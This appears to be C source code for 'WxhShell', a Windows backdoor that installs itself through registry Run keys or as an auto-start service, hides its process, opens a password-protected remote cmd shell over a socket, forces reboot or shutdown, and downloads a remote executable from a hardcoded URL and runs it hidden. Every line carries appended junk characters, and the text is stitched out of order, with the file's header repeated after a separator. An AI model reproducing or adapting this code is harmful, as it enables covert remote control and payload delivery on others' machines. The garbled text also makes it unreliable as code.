    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); em@EDMvI  
    if(Boot(SHUTDOWN)) jZfx Jm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$&hZ_A  
    else { iGXI6`F"  
    closesocket(wsh); `xS{0P{uj  
    ExitThread(0); t-%Q`V=[  
    } $9 p!Y}  
    break; &(rWwOo6  
    } ri~<~oB 2:  
  // 获取shell 1r[@(c0  
  case 's': { )QKf7 [:  
    CmdShell(wsh); {C*\O)Gep  
    closesocket(wsh); u9-nt}hGYM  
    ExitThread(0); "7%:sty  
    break; omZO+=8Q  
  } -PB[-CX  
  // 退出 [^H"FA[  
  case 'x': { w&&2H8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ][PzgzG  
    CloseIt(wsh); ~o3Hdd_#}N  
    break; C}g9'jY  
    } XdgUqQb}  
  // 离开 Hq&"+1F  
  case 'q': { D6D1S/:ij'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z~G my7h(  
    closesocket(wsh); PnT)LqEF  
    WSACleanup(); &FdWFt=X  
    exit(1); gA#RM5x@  
    break; { Ng oYl  
        } )+I.|5g  
  } @# P0M--X  
  } vP!GJX &n5  
iSK+GQ~  
  // 提示信息 D.!~dyI.,$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ytEC   
} GDaN  
  } ^[:9fs  
W><Zn=G4)b  
  return; tEd.'D8 s  
} s)A<=)w/e  
% u{W7  
// shell模块句柄 JD>d\z2QC  
int CmdShell(SOCKET sock) [ Mg8/Oy  
{ 2pHR_mrb  
STARTUPINFO si; ,n,RFa  
ZeroMemory(&si,sizeof(si)); I 1d0iU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1xyU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W3W'oo  
PROCESS_INFORMATION ProcessInfo; }`VDD?M  
char cmdline[]="cmd"; <c[U#KrvJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wHjLd$ +o  
  return 0; FwKj+f"  
} vZ7gS  
eS/B24;*  
// 自身启动模式 tU wRE|_  
int StartFromService(void) G>qZxy`c  
{ ".*x!l0y7  
typedef struct 3{% LS"c  
{ 59uwB('|lH  
  DWORD ExitStatus; Y>."3*^  
  DWORD PebBaseAddress; :S@1  
  DWORD AffinityMask; #(Or|\t  
  DWORD BasePriority; }]1BO  
  ULONG UniqueProcessId; 8cx=#Me  
  ULONG InheritedFromUniqueProcessId; <hnCUg1  
}   PROCESS_BASIC_INFORMATION; l2%bF8]z  
]-o"}"3Ef  
PROCNTQSIP NtQueryInformationProcess; eg+!*>GaX  
1B>Vt*=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wx'Kp+9'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gxPx&Z6jF  
EUYCcL'G  
  HANDLE             hProcess; 1x J TWWj-  
  PROCESS_BASIC_INFORMATION pbi; GnXNCeE`  
ivgpS5 M`Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ajl 2I/D  
  if(NULL == hInst ) return 0; ChryJRuwv5  
hlZ@Dq%f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UAF<m1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $$Vt7"F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _;A $C(  
tqPx$s  
  if (!NtQueryInformationProcess) return 0; Nb2Qp K  
9&%fq)gS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6!iJ;1PeE  
  if(!hProcess) return 0; C8N{l:1f]  
uNbH\qd=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gQSNU_o Z  
Vpfp}pL  
  CloseHandle(hProcess); #BK9 k>i  
_?7#MWe&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C9n}6Er=,  
if(hProcess==NULL) return 0; jt~Qu-  
5pNY)>]t=  
HMODULE hMod; '+'CbWgY  
char procName[255]; g3@Rl2yQJ  
unsigned long cbNeeded; 3b'tx!tFN  
~wnOV#v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z{IUy  
0rk]/--FGJ  
  CloseHandle(hProcess); jcCoan  
\hO2p6  
if(strstr(procName,"services")) return 1; // 以服务启动 O/%< }3Sq  
fqz28aHh  
  return 0; // 注册表启动 hli|B+:m"  
} Oh.ZPG=  
*x~xWg9^  
// 主模块 1RLY $M  
int StartWxhshell(LPSTR lpCmdLine) WlB' YL-`g  
{ (LvS :?T}  
  SOCKET wsl; $ZPX]2D4B#  
BOOL val=TRUE; ;wiao(t>4N  
  int port=0; `?*%$>W#"  
  struct sockaddr_in door; HWns.[  
V=I"-k}RL  
  if(wscfg.ws_autoins) Install(); &WXY'A=  
E9j+o y  
port=atoi(lpCmdLine); T&Xl'=/  
>>l`,+y  
if(port<=0) port=wscfg.ws_port; qpoV]#iW  
%x; x_  
  WSADATA data; =M6[URZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r#PMy$7L  
_eSd nHWx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   87!C@XlK_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U8#xgz@  
  door.sin_family = AF_INET; &ej8mq"\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3>ex5  
  door.sin_port = htons(port); ] U@o0  
-!RtH |P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4!62/df  
closesocket(wsl); Gz I~TWc+G  
return 1; vq*Q.0M+  
} VO3pm6r5  
5F+APz7  
  if(listen(wsl,2) == INVALID_SOCKET) { E! /[gZ  
closesocket(wsl); QR?yG+VU  
return 1; )CPM7>  
} JG`Q;K  
  Wxhshell(wsl); _Jz8{` "  
  WSACleanup(); aeyNdMk -  
D'<VYl"/  
return 0; l@j.hTO<  
vg Ipj3u  
} %z]U LEYrZ  
i LBvGZ<9  
// 以NT服务方式启动 +.B<Hd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t9gfU5?  
{ :pX`?Ew`g  
DWORD   status = 0; _i_Q?w`  
  DWORD   specificError = 0xfffffff; ->z54 T  
-Ue$T{;RoH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \mM<\-'p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |rw%FM{F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N(6|yZ<J3M  
  serviceStatus.dwWin32ExitCode     = 0; mM.*b@d-  
  serviceStatus.dwServiceSpecificExitCode = 0; >DM44  
  serviceStatus.dwCheckPoint       = 0; V~DMtB7  
  serviceStatus.dwWaitHint       = 0; <Tw>|cFT  
@tohNO>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); in <(g@Zg  
  if (hServiceStatusHandle==0) return; l} ^3fQXI  
Kemw^48ts  
status = GetLastError(); GY3 Wj  
  if (status!=NO_ERROR) ;rI@ *An  
{ nZ1zJpBmI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5la>a}+!!h  
    serviceStatus.dwCheckPoint       = 0; . JX EK  
    serviceStatus.dwWaitHint       = 0; l5%G'1w#,j  
    serviceStatus.dwWin32ExitCode     = status; $w)~O<_U  
    serviceStatus.dwServiceSpecificExitCode = specificError; TlL^7f}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'AGto'Yy;  
    return; bUV >^d  
  } ,)+ o  
Jk|Q`h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A61^[Y,dX_  
  serviceStatus.dwCheckPoint       = 0; N qHy%'R  
  serviceStatus.dwWaitHint       = 0; {_N,=DQ!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vE6mOM!_L  
} ~0$NJrUy  
-\ZcOXpMx=  
// 处理NT服务事件,比如:启动、停止 5*PYT=p}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r;9 r!$d  
{ 7*Qk`*Ii  
switch(fdwControl) .LVQx  
{ Ng><n}  
case SERVICE_CONTROL_STOP: *b *G2f^  
  serviceStatus.dwWin32ExitCode = 0; 682Z}"I0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eg<bi@C1|  
  serviceStatus.dwCheckPoint   = 0; \}6;Kf}\  
  serviceStatus.dwWaitHint     = 0; 3<=,1 cU  
  { spU)]4P&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "q}FPJ^l_N  
  } bawJ$_O_  
  return; "xcX' F^  
case SERVICE_CONTROL_PAUSE: N#V.1<Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m^'uipa\  
  break; lN,/3\B  
case SERVICE_CONTROL_CONTINUE: 5Dp#u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =4uSFK_L  
  break; AIb2k  
case SERVICE_CONTROL_INTERROGATE: xX3'bsN  
  break; OJT1d-5p  
}; YzosZ! L!<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dpQG[vXe  
} { pu85'DV  
ERwHLA  
// 标准应用程序主函数 7e7 M@8+4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =/<LSeLxH  
{ T@}|zDC#  
.)1_Ew  
// 获取操作系统版本 tqAd$:L  
OsIsNt=GetOsVer(); @3fn)YQ'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W{z.?$ SH  
G 6VF>2  
  // 从命令行安装 &<zd.~N"  
  if(strpbrk(lpCmdLine,"iI")) Install(); gh`m*@  
`&0Wv0D0  
  // 下载执行文件 ]v[|B  
if(wscfg.ws_downexe) { *"9><lJ-!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6cqP2!~  
  WinExec(wscfg.ws_filenam,SW_HIDE); bNT9 H`P  
} l1ZY1#%j  
PcB_oG g  
if(!OsIsNt) { f >BWG`  
// 如果时win9x,隐藏进程并且设置为注册表启动 F4=}}k U  
HideProc(); |+  N5z  
StartWxhshell(lpCmdLine); xI ,2LGO  
} Sxjub&=  
else l4T7'U>`  
  if(StartFromService()) FZreP.2)!  
  // 以服务方式启动 vVGDDDz/  
  StartServiceCtrlDispatcher(DispatchTable); OY[e.N t&  
else Cs2;z:O]  
  // 普通方式启动 ?!qY,9lhH  
  StartWxhshell(lpCmdLine); wf, 7==  
TJE\A)|>g  
return 0; (E,T#uc{  
} !+u"3;%h  
.4. b*5  
5cx#SD&5/  
sNun+xsf^  
=========================================== XdH\OJ  
Q{e\}wN  
UR:aD_h  
m*e{\)rd#  
zy*/T>{#  
-}K<ni6  
" 9&<x17'  
k X {0y  
#include <stdio.h> iy""(c  
#include <string.h> :JlP[I  
#include <windows.h> 6TP7b|  
#include <winsock2.h> 4Llo`K4  
#include <winsvc.h> lKk/p^:  
#include <urlmon.h> Q)"A-"y  
a>\vUv*  
#pragma comment (lib, "Ws2_32.lib") Ym;*Y !~[  
#pragma comment (lib, "urlmon.lib") cqxVAzb  
UH7jP#W%=  
#define MAX_USER   100 // 最大客户端连接数 Z{?G.L*/  
#define BUF_SOCK   200 // sock buffer s3Cc;#  
#define KEY_BUFF   255 // 输入 buffer Jk,;JQ  
= k\J<  
#define REBOOT     0   // 重启 :qC '$dO!  
#define SHUTDOWN   1   // 关机 r1RGTEkD  
1CLL%\V  
#define DEF_PORT   5000 // 监听端口 5nbEf9&  
)O:0 ]=#))  
#define REG_LEN     16   // 注册表键长度 26CS6(sn  
#define SVC_LEN     80   // NT服务名长度 6(P M'@i  
0'nikLaKy  
// 从dll定义API E 7-@&=]v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ov<NsNX]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OR[{PU=X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !!Z?[rj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dz Zb  
`~eUee3b.~  
// wxhshell配置信息 QeF3qXI  
struct WSCFG { FVh U^  
  int ws_port;         // 监听端口 .F+@B\A<  
  char ws_passstr[REG_LEN]; // 口令 DBP9{ x$  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q_l'o3  
  char ws_regname[REG_LEN]; // 注册表键名 $1ndKB8)`J  
  char ws_svcname[REG_LEN]; // 服务名 +S Jd@y@fR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h=-"SW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1;VHM'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cX3lt5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4tY ss  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W`^@)|9^)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E!S 78 z:  
nS>8bub30  
}; [$[:"N_  
*hcYGLx r  
// default Wxhshell configuration +>JjvYx}\  
struct WSCFG wscfg={DEF_PORT, m.,U:>  
    "xuhuanlingzhe", I!^O)4QRx  
    1, fFQ|T:vm  
    "Wxhshell", p,"g+ MwP  
    "Wxhshell", 6Aocm R0D'  
            "WxhShell Service", qW b+r  
    "Wrsky Windows CmdShell Service", =*Bl|;>6  
    "Please Input Your Password: ", /*0K92NB  
  1, 7`u$  
  "http://www.wrsky.com/wxhshell.exe", hpU2  
  "Wxhshell.exe" 2;w*oop,O  
    }; @IXsy  
->N8#XH2=  
// 消息定义模块 zXRlo]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /hO1QT}xd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; orb_"Qw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; + nF'a(  
char *msg_ws_ext="\n\rExit."; G8Du~h!!U  
char *msg_ws_end="\n\rQuit."; oY, %Iq  
char *msg_ws_boot="\n\rReboot..."; .YuJJJv  
char *msg_ws_poff="\n\rShutdown..."; "Wx]RN:  
char *msg_ws_down="\n\rSave to "; ~g.$|^,.O/  
kBN+4Dr/$  
char *msg_ws_err="\n\rErr!"; }V\N16f  
char *msg_ws_ok="\n\rOK!"; Jec'`,Y  
K #.  
char ExeFile[MAX_PATH]; zP<pEI  
int nUser = 0; <I;2{*QI2  
HANDLE handles[MAX_USER]; ZRYEqSm  
int OsIsNt; n'emN Ra  
}\C-} Q  
SERVICE_STATUS       serviceStatus; &\_iOw8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4!KoFoZt*  
=JmT:enV  
// 函数声明 {p,]oOq\  
int Install(void); NF? vg/{  
int Uninstall(void); )+fh-Ui  
int DownloadFile(char *sURL, SOCKET wsh); ZK)%l~J  
int Boot(int flag); 33}oO,}t,  
void HideProc(void); U,LTVYrO  
int GetOsVer(void); %Rsp;1Z  
int Wxhshell(SOCKET wsl); Sf8{h|71  
void TalkWithClient(void *cs); `jOX6_z?I  
int CmdShell(SOCKET sock); 71l%MH  
int StartFromService(void); TiH) 5  
int StartWxhshell(LPSTR lpCmdLine); b5^OQH{v  
#^ ]n0!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +zs4a96[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .aflsUD  
AoyX\iqQ  
// 数据结构和表定义 * oybD=%4  
SERVICE_TABLE_ENTRY DispatchTable[] = Qa.u Mq  
{ &y#r;L<9  
{wscfg.ws_svcname, NTServiceMain}, VJS8)oI~  
{NULL, NULL} +$Rt+S BD  
}; )(@Hd  
7hcNf,  
// 自我安装 t2"FXTAq  
int Install(void) y a_<^O 9  
{ nqf,4MR  
  char svExeFile[MAX_PATH]; Ox@P6|m  
  HKEY key; ^I+)o1%F  
  strcpy(svExeFile,ExeFile); *2GEnAZb7n  
c ;'[W60  
// 如果是win9x系统,修改注册表设为自启动 Y3=_ec3w  
if(!OsIsNt) { <wAFy>7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QNl'ZB \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z0do;_x]E  
  RegCloseKey(key); m1*O0Tg]"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '{B!6|"X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~^cMys |'  
  RegCloseKey(key); x]33LQ1]  
  return 0; Cn[0(s6  
    } 7>~5jYP  
  } {,L+1h  
} jkvgoxY  
else { tzh1s i  
nb>7UN.9  
// 如果是NT以上系统,安装为系统服务 ,tg0L$qC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {+@bZ}57  
if (schSCManager!=0) 9rA=pH%<>B  
{ 1u9LdkhnY  
  SC_HANDLE schService = CreateService p"U, G -_  
  ( yR\btx|e5~  
  schSCManager, S1?-I_t+]  
  wscfg.ws_svcname, 2J;kSh1,L  
  wscfg.ws_svcdisp, M^]cM(swK5  
  SERVICE_ALL_ACCESS, x_dy~(*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nj 00W1  
  SERVICE_AUTO_START, jt.3P  
  SERVICE_ERROR_NORMAL, >orK';r<  
  svExeFile, ]i)j3 WDz]  
  NULL, H_QsNf  
  NULL, P$-X)c$&  
  NULL, @n": w2^B  
  NULL, "T- `$'9  
  NULL X<*U.=r)  
  ); Alxx[l\<J  
  if (schService!=0) eD#hpl  
  { 2TA*m{\Hr  
  CloseServiceHandle(schService); L5\WpM=  
  CloseServiceHandle(schSCManager); NW&b&o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \(vY%DL1:  
  strcat(svExeFile,wscfg.ws_svcname); v 7x:dcV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N~xLu8,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X ' "SVO.  
  RegCloseKey(key); pLzk   
  return 0; PKzyV ;  
    } j+ LawW-  
  } ih;]nJ]+-  
  CloseServiceHandle(schSCManager); ,1"KHv  
} _"w2Uq  
} q')R4=0 K  
`kJ^zw+  
return 1; `{xNXH]@  
} aUtnR<6  
uF3qD|I\  
// 自我卸载 t0T"@t#c  
int Uninstall(void) m RO~aD!N  
{ qhz]Wm P   
  HKEY key; QD>"]ap,o  
4tS.G  
if(!OsIsNt) { E}tqQ*u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ez6EjUk  
  RegDeleteValue(key,wscfg.ws_regname); r'*}TM'8  
  RegCloseKey(key); : 7`[$<~E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h|"9LU4a  
  RegDeleteValue(key,wscfg.ws_regname); Bb"Bg\le,^  
  RegCloseKey(key); jav#f{'  
  return 0; 1wP-  
  } #"5 Dk#@  
} a qc?pqM  
} $+I;oHWI  
else { ^~A>8CQOU  
bG(3^"dS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q(oN/y3,  
if (schSCManager!=0) y7i*s^ys{  
{ L# 2+z@g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7fba-7-P  
  if (schService!=0) w2'f/  
  { 6 jn3`D  
  if(DeleteService(schService)!=0) { wD]/{ jw  
  CloseServiceHandle(schService); s=QAO!aw  
  CloseServiceHandle(schSCManager); >M/V oV  
  return 0; f|tjsZxQ  
  } 9BuSN*4  
  CloseServiceHandle(schService); /Dj=iBO  
  } 8!Ww J Oe  
  CloseServiceHandle(schSCManager); u[ Yk  
} '5|h)Q5  
} | ]X  
k<\$OoOZ  
return 1; &E=>Hj(dTG  
} SrK)t.oK  
8 {X"h#  
// 从指定url下载文件 3^6 d]f  
int DownloadFile(char *sURL, SOCKET wsh) ikSt"}/hd  
{ -xA2pYz"  
  HRESULT hr; PJL=$gBgKk  
char seps[]= "/"; Rw:*'1  
char *token; HEM9E&rL  
char *file; ssN6M./6  
char myURL[MAX_PATH]; 3S}Pm2D2  
char myFILE[MAX_PATH]; w_{wBL[3e  
hK,Sf ;5V  
strcpy(myURL,sURL); pj?f?.^  
  token=strtok(myURL,seps); 7w6cwHrL@  
  while(token!=NULL) L>R P-x>  
  { Ls] g  
    file=token; R'@9]99  
  token=strtok(NULL,seps); #odIEC/  
  } 20nP/ e  
< RH UH)I  
GetCurrentDirectory(MAX_PATH,myFILE); 4s*ZS}] o  
strcat(myFILE, "\\"); u;/ Vyu  
strcat(myFILE, file); VeQg -#&I  
  send(wsh,myFILE,strlen(myFILE),0); vz7J-CH  
send(wsh,"...",3,0); c:o]d)S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5X:*/FuS@  
  if(hr==S_OK) ry`z(f  
return 0; ZU%[guf  
else >)M`IU[d^.  
return 1; CyXR i}W.  
428>BQA  
} |='z{WS  
>^*+iEe  
// 系统电源模块 9vvx*rD  
int Boot(int flag) +w{*Xk)4  
{ r 0iK  
  HANDLE hToken; l)&X$3?tz  
  TOKEN_PRIVILEGES tkp; ''\O v  
.G#8a1#  
  if(OsIsNt) { +N:o-9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R&BTA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L'0B$6  
    tkp.PrivilegeCount = 1; OZ~5*v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %~E ?Z!_W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UZJCvfi  
if(flag==REBOOT) { /! "|_W|n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vRH d&0  
  return 0; xk5@d6Y{r  
} P>NF.B Cq  
else { 7KAO+\)H^Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uJC~LC N  
  return 0; 9{5&^RbCp  
} }n3/vlW9  
  } <4g{ fT0  
  else { G(G{RAk>  
if(flag==REBOOT) { |6K+E6H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZOeQ+j)|I  
  return 0; 65 #'\+  
} 1]@}|  
else { noml8o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \1fN0e  
  return 0; hM6PP7XH  
} @ W[f1  
} ,>0*@2  
eQp4|rf  
return 1; opy("qH  
} yl7&5)b#9  
GycSwQ ,  
// win9x进程隐藏模块 R|(q  
void HideProc(void) ,0~n3G  
{ Tk:h@F|B.|  
=,_ +0M9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LIvFx|  
  if ( hKernel != NULL ) H1QJ k_RL  
  { iV*q2<>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Tx{3#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CzRc%%BA  
    FreeLibrary(hKernel); XF;ES3 d  
  } d9;g]uj`  
_lGdUt 2  
return; 4,CXJ2  
} }dWq=)*  
o7sT=x9  
// 获取操作系统版本 ToXki,  
int GetOsVer(void) MbZJ;,e?  
{ N D(/uyI  
  OSVERSIONINFO winfo; di6QVRj1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _/6!yyl  
  GetVersionEx(&winfo); KLitg6&P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8&?s#5zA  
  return 1; i]6`LqlO  
  else hRrn$BdLX  
  return 0; XINu=N(g  
} g1W.mAA3B  
#><.oreXq  
// 客户端句柄模块 ND>r#(_\  
int Wxhshell(SOCKET wsl) LYz.Ci}  
{ vdx0i&RiL  
  SOCKET wsh; g!?:Ye`5  
  struct sockaddr_in client; ?fUlgQ }N  
  DWORD myID; bzuEfFaL  
r^3acXl  
  while(nUser<MAX_USER) -EkWs/'h  
{ 'B 43_  
  int nSize=sizeof(client); GVYBa_gx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vzdh8)Mu\  
  if(wsh==INVALID_SOCKET) return 1; #Ssx!+q?  
mpuq 9)6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YaKeq5%y  
if(handles[nUser]==0) TgmnG/Z  
  closesocket(wsh); ;CmS ~K:  
else QS` PpyBkd  
  nUser++; G~2jUyv  
  } E_])E`BJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4E]l{"k<  
aWWU4xe  
  return 0; mKL<<L [  
} Li/O  
rV R1wsaL  
// 关闭 socket A: 5x|  
void CloseIt(SOCKET wsh) .TND  a&  
{ )Ch2E|C?=8  
closesocket(wsh); C":32_q  
nUser--; Gb#Cm]  
ExitThread(0); >L;eO'D  
} *W0y: 3dB3  
"$ Y_UJT7  
// 客户端请求句柄 jkiFLtB@V  
void TalkWithClient(void *cs) bx{$Y_L+p  
{ ![YX]+jqNp  
@eD):Y  
  SOCKET wsh=(SOCKET)cs; tD(7^GuR  
  char pwd[SVC_LEN]; +cgSC5nR  
  char cmd[KEY_BUFF]; RrX[|GLSJ  
char chr[1]; h|VeG3H  
int i,j; <lw` 3aa(  
j9?}j #@  
  while (nUser < MAX_USER) { EQb7 -vhg  
3DiLk=\~  
if(wscfg.ws_passstr) { \W1,F6&j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e vrXo"3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [S HXJ4P*  
  //ZeroMemory(pwd,KEY_BUFF); %k-3?%&8  
      i=0; n>+mL"hs  
  while(i<SVC_LEN) { ryW'Z{+r'  
Hv sob  
  // 设置超时 &]e'KdXF  
  fd_set FdRead; s2'yY(u/  
  struct timeval TimeOut; TUV&vz{  
  FD_ZERO(&FdRead); DnCP aM4%  
  FD_SET(wsh,&FdRead); 8+a4>8[M  
  TimeOut.tv_sec=8; 5R@  
  TimeOut.tv_usec=0; \`oT#|0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0B@SN)<kH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z:,U]Z(  
5p<ItU$pnL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qq) rd  
  pwd=chr[0]; z=rT%lz6  
  if(chr[0]==0xd || chr[0]==0xa) { 6x h:/j3  
  pwd=0; xy5lE+E_U  
  break; ,&j hlZ i  
  } a`&f  
  i++; { /K.3  
    } WN{ 9  
0 fF(Z0R,  
  // 如果是非法用户,关闭 socket Pz>s6 [ob  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !c}O5TI|#  
} Hyb3 ;yQ  
iVp,e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z.$4!$q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6-yd]("  
"U!AlZ`g  
while(1) { WG N=Y~E  
d F9!G;V  
  ZeroMemory(cmd,KEY_BUFF); =yr0bGy`-  
y4*U6+#.  
      // 自动支持客户端 telnet标准   A'q#I>j`  
  j=0; C8[&S&<_<  
  while(j<KEY_BUFF) { &Q;sSIc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ss~;m']68  
  cmd[j]=chr[0]; "x=f=;  
  if(chr[0]==0xa || chr[0]==0xd) { !/}O>v~o  
  cmd[j]=0; < ,Ue 0  
  break; ?o oe'V@  
  } wfU7G[  
  j++; eqP&8^HP  
    } .z)%)PVV  
w[9|cgCY  
  // 下载文件 Bg&i63XL$$  
  if(strstr(cmd,"http://")) { /2UH=Q!x4E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :*ing  
  if(DownloadFile(cmd,wsh)) 0y 7"SiFY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -BRc8 /  
  else xIxn"^'  
